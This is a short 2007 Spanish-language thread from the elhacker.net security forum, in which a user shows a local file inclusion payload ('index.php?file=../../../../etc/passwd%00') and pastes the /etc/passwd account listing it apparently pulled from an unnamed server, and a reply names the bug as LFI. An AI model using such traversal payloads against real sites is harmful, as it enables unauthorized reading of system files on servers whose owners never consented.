elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 09:51  


Tema destacado: Deseas probar algunas mejoras a la interfaz del foro? Prueba cake! acerca de

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  directoy transversal (unix)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: directoy transversal (unix)  (Leído 1,453 veces)
darksystem

Desconectado Desconectado

Mensajes: 8


Ver Perfil
directoy transversal (unix)
« en: 17 Diciembre 2007, 21:56 »

buscando vulnerabilidades x acutenix me di con la grata sorpresa de un bug muy poco hablado aer si me orientan un poko

estuve buscando en este foro peror esulta q solo han comentadod e windows

aver si hablan de unix

index.php?file=../../../../../../../../etc/passwd%00


root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh Debian-exim:x:102:102::/var/spool/exim4:/bin/false sshd:x:100:65534::/var/run/sshd:/bin/false nouser:x:65534:65534:nobody:/nonexistent:/bin/sh nobody:x:99:99::/nonexistent:/bin/false exim:x:104:104::/home/pop:/bin/false wwwuser:x:500:15000::/home/wwwuser:/bin/bash testcgi:x:1000:100::/home/testcgi: testcgi2:x:1001:100::/home/testcgi2:/bin/bash sp:x:201:201::/home/sp: ph.testmarkm:x:1003:1000::/home/testcgi3: testcgi3:x:1000000:100::/home/testcgi3:
En línea
NaNo N´RoSeS

Desconectado Desconectado

Mensajes: 252

..::NaNo Fuck´N RoSeS::..


Ver Perfil WWW
Re: directoy transversal (unix)
« Respuesta #1 en: 20 Diciembre 2007, 18:28 »

pero que quieres que te digan....que tipo de Vulnerabilidad es ???? 

por lo que se ve es un LFI , Local File Inclusion...

pero que quieres saber ???
En línea



Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Ayuda Active Directoy y Radius, Urgente!
Redes
melodic.angel 4 723 Último mensaje 24 Diciembre 2011, 00:06
por melodic.angel
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines